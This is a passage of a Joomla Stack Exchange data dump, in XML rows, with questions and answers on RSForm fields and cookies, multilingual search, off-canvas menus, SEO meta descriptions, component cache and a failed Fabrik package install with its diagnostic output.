CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25111" PostTypeId="1" CreationDate="2019-08-28T16:06:04.320" Score="0" ViewCount="67" Body="&lt;p&gt;I've noticed that Joomla Contact Form's and some of RS Form's fields aren't editable (disabled). I think it's probably because of incorrect Joomla ACL settings for public access to the fields, but I don't know exactly how to fix it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;Moderator note&lt;/strong&gt;: Links to live site were removed because the links were broken and after the problem was repaired, the links of course would fail to present the old problem.  All problems which rely on visualising a user interface should capture the problem as a static screenshot -- not a link to the live site.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastEditorUserId="12352" LastEditDate="2021-06-19T22:08:18.143" LastActivityDate="2024-03-06T05:05:50.793" Title="Joomla Contact Form's and some of RS Form's fields aren't editable (disabled)" Tags="|joomla-3.x|rsform|widgetkit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25112" PostTypeId="2" ParentId="25111" CreationDate="2019-08-28T18:20:45.743" Score="0" Body="&lt;p&gt;Disabling Widgetkit seems to have solved the issue....&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2019-08-28T18:20:45.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25113" PostTypeId="2" ParentId="25110" CreationDate="2019-08-28T23:10:21.533" Score="0" Body="&lt;p&gt;The error messages appears to be for fields that you have not provided a value for in your &quot;Script called on form process:&quot; such as adress-level2 so I expect that com_rsforms/helper/field.php is expecting a value in an array, like the other fields you do provide, but you are giving it an empty or no value at all.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-08-28T23:10:21.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25114" PostTypeId="2" ParentId="25110" CreationDate="2019-08-28T23:14:14.617" Score="1" Body="&lt;p&gt;For one, you are declaring:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$inputCookie-&amp;gt;set('rsformdatacountry', $_POST['form']['country']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that the &lt;code&gt;rsformdatacountry&lt;/code&gt; cookie value is a string (not an array).  This is appropriate assuming that your form is not allowing multiple selections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you call it, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$activeCountry = $inputCookie-&amp;gt;get('rsformdatacountry', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when making your comparisons in the loop, use a different check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($options as $i =&amp;gt; $options_item) {&#xA;    if (strpos($options_item, $activeCountry . '|') === 0) {&#xA;        $options[$i] .= &quot;[c]&quot;;  // concatenate the selected marker&#xA;    }&#xA;}&#xA;return implode(&quot;\n&quot;, $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To explain: &lt;code&gt;if (strpos($options_item, $active . '|') === 0) {&lt;/code&gt; it will check the short value entirely.  it appends a &lt;code&gt;pipe&lt;/code&gt; to ensure partial matches do not occur.  the &lt;code&gt;=== 0&lt;/code&gt; means the match must occur at the very start of the string.  For these reasons, it will be stable and reliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for any other warnings, use &lt;code&gt;var_export($variable_name)&lt;/code&gt; to get a clearer understanding of what data you are processing.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-28T23:14:14.617" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25115" PostTypeId="1" CreationDate="2019-08-29T05:48:56.093" Score="0" ViewCount="213" Body="&lt;p&gt;I have a claim form built with RSform used in local network.&#xA;The users who write the complaints are the users of the joomla site(for exemple user1 user2 user3).&#xA;The form contains : the details of the claim (textbox), the date (calender) and the recipient (checkbox) for exemple : Manager, Technical department ...&#xA;the recipient also is a user of the joomla site.&#xA;=&gt; so for exemple user1 write a complaint to user2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the sending of the form(user1 send the complaint),user1 and user2 and user3 can consult the list of complaints through the link RSForm! Pro » Submissions - Directory //or RSForm! Pro » Submissions - View&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this list, i want that only user3 can make modification, so he can add new data to the form (for exemple user3 is the manager and he can say &quot;ok&quot; in a new field dont exist in the original form so i can use a hidden field)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at this moment, user1 can confirm his request by clicking on one button &quot;confirmation&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13731" LastEditorUserId="13731" LastEditDate="2019-08-29T22:09:49.673" LastActivityDate="2020-03-04T03:08:15.347" Title="About Rsform submission" Tags="|joomla-3.x|rsform|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25116" PostTypeId="2" ParentId="25115" CreationDate="2019-08-29T10:53:40.270" Score="1" Body="&lt;p&gt;RSForms has pretty good documentation.  It sounds like you want conditional form fields.  I would suggest having the first field be a select box with choices like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User 1 &lt;/li&gt;&#xA;&lt;li&gt;User 2 &lt;/li&gt;&#xA;&lt;li&gt;User 3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you can setup conditional fields to show the subsequent fields only when your select field = User 1 or whatnot. Note that these other fields should not have a field type of &quot;hidden field&quot; as those will never be visible to user. Please take a look at these.&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/conditional-fields-feature-first-hand-example.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/conditional-fields-feature-first-hand-example.html&lt;/a&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/set-up-conditionals-for-groups-of-fields.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/frequently-asked-questions/set-up-conditionals-for-groups-of-fields.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can write a custom validation if you want:&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/customizing-rsform-pro/custom-validation-rules.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/customizing-rsform-pro/custom-validation-rules.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2019-08-29T10:53:40.270" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25117" PostTypeId="1" CreationDate="2019-08-29T21:57:00.593" Score="0" ViewCount="34" Body="&lt;p&gt;Search works well for only one language on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is on 2 languages -- French and English -- but the search works for French only and not working as desired for English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I search for &lt;code&gt;camion&lt;/code&gt; in French language, I get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Camion Freightliner Coronado 2016 &lt;/li&gt;&#xA;&lt;li&gt;Camion Freightliner Cascadia 2015 &lt;/li&gt;&#xA;&lt;li&gt;Camion Western Star 4900S 2015 &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I search for &lt;code&gt;camion&lt;/code&gt; in English language, I get: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2016 Freightliner Coronado Truck &lt;/li&gt;&#xA;&lt;li&gt;2015 Freightliner Cascadia Truck &lt;/li&gt;&#xA;&lt;li&gt;2015 Western Star 4900S Truck&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I search for &lt;code&gt;truck&lt;/code&gt; in English language, I get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No results&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I search for &lt;code&gt;truck&lt;/code&gt; in French language, I get:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Aucun résultats&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know where the translate text is stored on the database.&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2019-08-30T13:12:00.557" LastActivityDate="2019-08-30T13:12:00.557" Title="Search functionality returning wrong results on multi-lingual site" Tags="|joomla-3.x|multilingual|search|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25118" PostTypeId="1" AcceptedAnswerId="25121" CreationDate="2019-08-30T02:09:27.640" Score="0" ViewCount="175" Body="&lt;p&gt;I'm having difficulty getting the off canvas menu to work on a mobile view.&#xA;I am using a LT Social theme template, my web address is &lt;a href=&quot;http://gracegarton.com.au/&quot; rel=&quot;nofollow noreferrer&quot;&gt;gracegarton.com.au&lt;/a&gt;&#xA;I had it working a week ago, but went to tweak it and screwed it up somehow.&lt;/p&gt;&#xA;" OwnerUserId="13734" LastEditorUserId="12352" LastEditDate="2019-08-30T04:04:27.253" LastActivityDate="2019-09-29T10:01:35.207" Title="Mobile off canvas menu not working" Tags="|templates|menu|mobile-web-design|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25119" PostTypeId="1" CreationDate="2019-08-30T05:09:33.403" Score="0" ViewCount="44" Body="&lt;p&gt;I'm using Joomla 3.9 for posting my articles. I've recently noticed the meta description appearing for my articles on Google and the ones I've written in Joomla are different. It seems Google is just taking a snippet from the first paragraph of my article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is seriously hurting my SEO. What can I do fix this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13735" LastEditorUserId="12352" LastEditDate="2019-08-30T09:33:03.713" LastActivityDate="2019-08-30T09:33:03.713" Title="Difference between article meta description and Google result's presented text" Tags="|articles|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25120" PostTypeId="2" ParentId="25119" CreationDate="2019-08-30T06:52:38.290" Score="3" Body="&lt;p&gt;If you look at the page source of your site are the meta tags showing correctly?  Assuming that they are, then my answer is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google will often provide its own metadescriptions, often different ones depending on the search and the searcher.  It will use the one you provide if it is unique enough and relevant enough and is suitable for the search context.  You cannot force Google to use the one you provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Metadescriptions do not directly effect seo, only click through rates which are effected  when the searcher reads the description in the result and like what they read.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2019-08-30T06:52:38.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25121" PostTypeId="2" ParentId="25118" CreationDate="2019-08-30T08:12:59.680" Score="0" Body="&lt;p&gt;There is a warning being displayed&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please publish modules in &lt;strong&gt;offcanvas&lt;/strong&gt; position&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but you can't see because it is off the canvas!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise there is no content (e.g. a menu) to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;offcanvas-menu&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;close-offcanvas&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-remove&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;offcanvas-inner&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;alert alert-warning&quot;&amp;gt;Please publish modules in &amp;lt;strong&amp;gt;offcanvas&amp;lt;/strong&amp;gt; position.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2019-08-30T09:37:08.590" LastActivityDate="2019-08-30T09:37:08.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25122" PostTypeId="2" ParentId="25110" CreationDate="2019-08-30T10:08:39.747" Score="2" Body="&lt;p&gt;You have posted snippets that are using two separate means of updating the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript-leveraging snippet is updating the form AFTER the form elements have already been generated.  This means that the standard form for all users is adjusted at the last moment to apply the cookie values to the fields for that specific user -- seems like the right idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pure php snippet is amending the stored rsform form data (the piped syntax) BEFORE it is rendered as html.  The form structure/options are shared by all users, so amending it for each user may be possible, it is probably not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your form is correctly being updated with the cookie data AND the server-side technique is generating errors (not working), then you should simply remove the server-side scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help streamline/stabilise your code, and avoid declaring your many cookie data variables individually, I recommend getting and setting all of the cookie data as a multidimensional array like this: (untested)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie-&amp;gt;set('rsformdata', $_POST['form']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cookieData = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie-&amp;gt;get('rsformdata', [], 'array');&#xA;$cookieJson = json_encode($cookieData);&#xA;&#xA;echo &quot;&#xA;&amp;lt;script&amp;gt;&#xA;let cookieObj = $cookieJson;&#xA;if (cookieObj.country !== undefined) {&#xA;    document.getElementById('country').value = cookieObj.country;&#xA;}&#xA;if (cookieObj.bday !== undefined) {&#xA;    if (cookieObj.bday.d !== undefined) {&#xA;        document.getElementById('bdayd').value = cookieObj.bday.d;&#xA;    }&#xA;    if (cookieObj.bday.m !== undefined) {&#xA;        document.getElementById('bdaym').value = cookieObj.bday.m;&#xA;    }&#xA;    if (cookieObj.bday.y !== undefined) {&#xA;        document.getElementById('bdayy').value = cookieObj.bday.y;&#xA;    }&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't type out all of your form fields -- just enough to show you how to check and access the multi-dimensional data.  This technique is going to serve you well because it will not break when you apostrophes/quotes in your preserved values.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-08-30T10:08:39.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25125" PostTypeId="1" CreationDate="2019-09-01T16:51:02.837" Score="1" ViewCount="157" Body="&lt;p&gt;I have searched all over the internet but nothing got useful. I have only hope on this forum. Please tell me how can I use the first image of the article in Joomla as featured image. I don't want to upload a featured image separately.&lt;/p&gt;&#xA;" OwnerUserId="13738" LastActivityDate="2019-09-01T16:51:02.837" Title="How can I use first image in article as featured image?" Tags="|joomla-3.x|module|articles|extensions|images|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25128" PostTypeId="1" CreationDate="2019-09-02T17:31:03.903" Score="4" ViewCount="153" Body="&lt;p&gt;I am working on a custom component and it works as intended as long as I do not have cache enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the admin section of the component, I have a view that can change the &quot;component params&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JComponentHelper::getParams( 'com_example' );&#xA;$params-&amp;gt;set( 'customsetting', 'test' );&#xA;&#xA;$componentid = JComponentHelper::getComponent('com_example')-&amp;gt;id;&#xA;$table = JTable::getInstance('extension');&#xA;$table-&amp;gt;load($componentid);&#xA;$table-&amp;gt;bind(array('params' =&amp;gt; $params-&amp;gt;toString()));&#xA;&#xA;if (!$table-&amp;gt;check()) {&#xA;    echo $table-&amp;gt;getError();&#xA;}&#xA;if (!$table-&amp;gt;store()) {&#xA;    echo $table-&amp;gt;getError();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and load that setting with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JComponentHelper::getParams( 'com_example' );&#xA;$setting = $params-&amp;gt;get( 'customsetting' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, this works without cache. But with cache, I cannot update the setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to clear the cache after I change the component parameters, but I could not figure out how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;parent::cleanCache('com_hbmanager');&lt;/code&gt;, but it had no effect. &lt;a href=&quot;https://docs.joomla.org/Cache&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Cache&lt;/a&gt; also didn't help me finding a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to clear the cache for the parameters of a component?&lt;/p&gt;&#xA;" OwnerUserId="11618" LastEditorUserId="11618" LastEditDate="2019-09-03T08:45:21.070" LastActivityDate="2022-10-15T19:03:40.157" Title="How can I clear the cache for the params of a custom component?" Tags="|joomla-3.x|custom-component|cache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25129" PostTypeId="2" ParentId="7230" CreationDate="2019-09-03T07:26:09.150" Score="0" Body="&lt;p&gt;There is actually a custom button plugin provided by the creators of JCE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/widgetfactory/jce-custom&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/widgetfactory/jce-custom&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7167" LastActivityDate="2019-09-03T07:26:09.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25130" PostTypeId="1" AcceptedAnswerId="25131" CreationDate="2019-09-03T11:05:44.353" Score="0" ViewCount="556" Body="&lt;p&gt;I'm new to Joomla (3) and not an expert in Linux (Ubuntu 18).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have unzipped the package into 'factory_pkg' a folder in web-root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of it I have 'packages' and 'pkg_fabrik.xml'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run Install from Folder and type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/www/html/factory_pkg/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the message says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning&#xA;Install path does not exist.&#xA;Package Install: There was an error installing an extension: mod_fabrik_form_3.9.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I couldn't find form for question in joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a script from Joomla 'Forum Post Assistant', it gave me this output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;[quote=&quot;Forum Post Assistant (v1.4.9 (lambrusca) : 3rd September 2019&quot;]&#xA;    [quote=&quot;Problem Description :: &quot;][size=85]I can't install fabrik package through folder [/size][/quote]&#xA;    [quote=&quot;Log/Error Message :: &quot;][size=85]Install path does not exist. Package Install: There was an error installing an extension: mod_fabrik_form_3.9.zip[/size][/quote]&#xA;    [quote=&quot;Basic Environment ::&quot;][size=85]&#xA;        [b]Joomla! Instance :: [/b][color=Blue]Joomla! [b]3.9.11[/b]-Stable (Amani) 13-August-2019[/color]&#xA;        [b]Joomla! Platform :: [/b] [color=Blue]Joomla Platform [b]13.1.0[/b]-Stable (Curiosity) 24-Apr-2013[/color]&#xA;        [b]Joomla! Configured :: [/b][color=Green]Yes[/color] | Read-Only ([color=Green]644[/color]) | [b]Owner:[/b]  [color=orange]--protected--[/color] . (uid: 1/gid: 1) | [b]Group:[/b]  [color=orange]--protected--[/color]  (gid: 1) | [b]Valid For:[/b] 3.9&#xA;        [b]Configuration Options :: Offline:[/b] false | [b]SEF:[/b] true | [b]SEF Suffix:[/b] false | [b]SEF ReWrite:[/b] false | [b].htaccess/web.config:[/b] [color=orange]No[/color] | [b]GZip:[/b] false | [b]Cache:[/b] false | [b]CacheTime:[/b] 15 | [b]CacheHandler:[/b] file | [b]CachePlatformPrefix:[/b] false | [b]FTP Layer:[/b] false | [b]Proxy:[/b] N/A | [b]LiveSite:[/b]  | [b]Session lifetime:[/b] 15 | [b]Session handler:[/b] database | [b]Shared sessions:[/b] false | [b]SSL:[/b] N/A | [b]Error Reporting:[/b] default | [b]Site Debug:[/b] false | [b]Language Debug:[/b] false | [b]Default Access:[/b] 1 | [b]Unicode Slugs:[/b] false | [b]dbConnection Type:[/b] mysqli | [b]PHP Supports J! 3.9.11: [/b][color=Green]Yes[/color] | [b]Database Supports J! 3.9.11: [/b][color=Green]Yes[/color] | [b]Database Credentials Present:[/b] [color=Green]Yes[/color] |&#xA;&#xA;        [b]Host Configuration :: OS:[/b] Linux |  [b]OS Version:[/b] 5.0.0-25-generic | [b]Technology:[/b] x86_64 | [b]Web Server:[/b] Apache/2.4.29 (Ubuntu) | [b]Encoding:[/b] gzip, deflate | [b]Doc Root:[/b] [color=orange]--protected--[/color] | [b]System TMP Writable:[/b] [color=Green]Yes[/color] | [b]  Free Disk Space :[/b] 4.39 GiB |&#xA;        [b]PHP Configuration :: Version:[/b] [b]7.2.19-0ubuntu0.18.04.2[/b] | [b]PHP API:[/b] [color=orange]apache2handler[/color] | [b]Session Path Writable:[/b] [color=Green]Yes[/color] | [b]Display Errors:[/b]  | [b]Error Reporting:[/b] 22527 | [b]Log Errors To:[/b]  | [b]Last Known Error:[/b]  | [b]Register Globals:[/b]  | [b]Magic Quotes:[/b]  | [b]Safe Mode:[/b]  | [b]Allow url fopen:[/b] 1 | [b]Open Base:[/b]  | [b]Uploads:[/b] 1 | [b]Max. Upload Size:[/b] 2M | [b]Max. POST Size:[/b] 8M | [b]Max. Input Time:[/b] 60 | [b]Max. Execution Time:[/b] 30 | [b]Memory Limit:[/b] 128M&#xA;&#xA;        [b]Database Configuration :: [/b] [b]Version:[/b] [b]5.7.27-0ubuntu0.18.04.1-log[/b] (Client:mysqlnd 5.0.12-dev - 20150407 - $Id: 3591daad22de08524295e1bd073aceeff11e6579 $) | [b]Host:[/b]  [color=orange]--protected--[/color] ([color=orange]--protected--[/color]) | [b]default Collation:[/b] utf8_general_ci ([b]default Character Set:[/b] utf8) | [b]Database Size:[/b] 4.16 MiB | [b]#of Tables: [/b] 78[/size][/quote][quote=&quot;Detailed Environment ::&quot;][size=85][b]PHP Extensions :: [/b]Core (7.2.19-0ubuntu0.18.04.2) | date (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]libxml[/b][/color] (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]openssl[/b][/color] (7.2.19-0ubuntu0.18.04.2) | pcre (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]zlib[/b][/color] (7.2.19-0ubuntu0.18.04.2) | filter (7.2.19-0ubuntu0.18.04.2) | hash (1.0) | Reflection (7.2.19-0ubuntu0.18.04.2) | SPL (7.2.19-0ubuntu0.18.04.2) | sodium (7.2.19-0ubuntu0.18.04.2) | session (7.2.19-0ubuntu0.18.04.2) | standard (7.2.19-0ubuntu0.18.04.2) | [color=orange]apache2handler[/color] () | mysqlnd (mysqlnd 5.0.12-dev - 20150407 - $Id: 3591daad22de08524295e1bd073aceeff11e6579 $) | PDO (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]xml[/b][/color] (7.2.19-0ubuntu0.18.04.2) | bz2 (7.2.19-0ubuntu0.18.04.2) | calendar (7.2.19-0ubuntu0.18.04.2) | ctype (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]curl[/b][/color] (7.2.19-0ubuntu0.18.04.2) | dom (20031129) | [color=Green][b]mbstring[/b][/color] (7.2.19-0ubuntu0.18.04.2) | fileinfo (1.0.5) | ftp (7.2.19-0ubuntu0.18.04.2) | gd (7.2.19-0ubuntu0.18.04.2) | gettext (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]iconv[/b][/color] (7.2.19-0ubuntu0.18.04.2) | intl (1.1.0) | json (1.6.0) | ldap (7.2.19-0ubuntu0.18.04.2) | exif (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]mysqli[/b][/color] (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]pdo_mysql[/b][/color] (7.2.19-0ubuntu0.18.04.2) | Phar (2.0.2) | posix (7.2.19-0ubuntu0.18.04.2) | readline (7.2.19-0ubuntu0.18.04.2) | shmop (7.2.19-0ubuntu0.18.04.2) | SimpleXML (7.2.19-0ubuntu0.18.04.2) | sockets (7.2.19-0ubuntu0.18.04.2) | ssh2 (1.1.2) | sysvmsg (7.2.19-0ubuntu0.18.04.2) | sysvsem (7.2.19-0ubuntu0.18.04.2) | sysvshm (7.2.19-0ubuntu0.18.04.2) | tokenizer (7.2.19-0ubuntu0.18.04.2) | wddx (7.2.19-0ubuntu0.18.04.2) | xmlreader (7.2.19-0ubuntu0.18.04.2) | xmlwriter (7.2.19-0ubuntu0.18.04.2) | xsl (7.2.19-0ubuntu0.18.04.2) | [color=Green][b]zip[/b][/color] (1.15.4) | Zend OPcache (7.2.19-0ubuntu0.18.04.2) | xdebug (2.6.0) | Zend Engine (3.2.0) |&#xA;        [b]Potential Missing Extensions :: [/b]&#xA;        [b]Disabled Functions :: [/b]pcntl_alarm | pcntl_fork | pcntl_waitpid | pcntl_wait | pcntl_wifexited | pcntl_wifstopped | pcntl_wifsignaled | pcntl_wifcontinued | pcntl_wexitstatus | pcntl_wtermsig | pcntl_wstopsig | pcntl_signal | pcntl_signal_get_handler | pcntl_signal_dispatch | pcntl_get_last_error | pcntl_strerror | pcntl_sigprocmask | pcntl_sigwaitinfo | pcntl_sigtimedwait | pcntl_exec | pcntl_getpriority | pcntl_setpriority | pcntl_async_signals |  |&#xA;&#xA;        [b]Switch User Environment[/b] [i](Experimental)[/i][b] :: PHP CGI:[/b] No | [b]Server SU:[/b] No |  [b]PHP SU:[/b] No |   [b]Custom SU (LiteSpeed/Cloud/Grid):[/b] Yes&#xA;        [b]Potential Ownership Issues:[/b] [color=Green]No[/color]&#xA;&#xA;        [b]Apache Modules :: [/b]core | mod_so | mod_watchdog | http_core | mod_log_config | mod_logio | mod_version | mod_unixd | mod_access_compat | mod_alias | mod_auth_basic | mod_authn_core | mod_authn_file | mod_authz_core | mod_authz_host | mod_authz_user | mod_autoindex | [color=Green][b]mod_deflate[/b][/color] | mod_dir | mod_env | mod_filter | mod_mime | prefork | mod_negotiation | mod_php7 | mod_reqtimeout | [color=Green][b]mod_rewrite[/b][/color] | mod_setenvif | mod_status | Apache/2.4.29 (Ubuntu) |&#xA;        [b]Potential Missing Modules :: [/b][color=orange]mod_expires[/color] | [color=orange]mod_security[/color] | [color=orange]mod_evasive[/color] | [color=orange]mod_dosevasive[/color] | [color=orange]mod_ssl[/color] | [color=orange]mod_qos[/color] | [color=orange] mod_userdir[/color] |&#xA;&#xA;    [/size][/quote]&#xA;    [quote=&quot;Folder Permissions ::&quot;][size=85]&#xA;        [b]Core Folders :: [/b]images/ (755) | components/ (755) | modules/ (755) | plugins/ (755) | language/ (755) | templates/ (755) | cache/ (755) | logs/ (---) | tmp/ (755) | administrator/components/ (755) | administrator/modules/ (755) | administrator/language/ (755) | administrator/templates/ (755) | administrator/logs/ (755) |&#xA;&#xA;        [b]Elevated Permissions[/b] [i](First 10)[/i][b] :: [/b][/size][/quote][quote=&quot;Database Information ::&quot;][size=85][b]Database statistics :: [/b][b]Uptime:[/b] 13124 | [b]Threads:[/b] 1 | [b]Questions:[/b] 2815 | [b]Slow queries:[/b] 0 | [b]Opens:[/b] 557 | [b]Flush tables:[/b] 1 | [b]Open tables:[/b] 550 | [b]Queries per second avg:[/b] 0.214 |&#xA;    [/size][/quote]&#xA;    [quote=&quot;Extensions Discovered ::&quot;][size=85]&#xA;        [b]Components :: SITE :: [/b]&#xA;        [b] Core :: [/b][color=Blue]com_mailto (3.0.0)  1 | com_wrapper (3.0.0)  1 | [/color]&#xA;        [b]3rd Party:: [/b][color=Brown][/color]&#xA;&#xA;        [b]Components :: ADMIN :: [/b]&#xA;        [b] Core :: [/b][color=Blue]com_users (3.0.0)  1 | com_login (3.0.0)  1 | com_newsfeeds (3.0.0)  1 | com_banners (3.0.0)  1 | com_postinstall (3.2.0)  1 | com_tags (3.1.0)  1 | com_media (3.0.0)  1 | com_messages (3.0.0)  1 | com_cpanel (3.0.0)  1 | com_modules (3.0.0)  1 | com_content (3.0.0)  1 | com_categories (3.0.0)  1 | com_privacy (3.9.0)  1 | com_ajax (3.2.0)  1 | com_config (3.0.0)  1 | com_checkin (3.0.0)  1 | com_actionlogs (3.9.0)  1 | com_templates (3.0.0)  1 | com_languages (3.0.0)  1 | 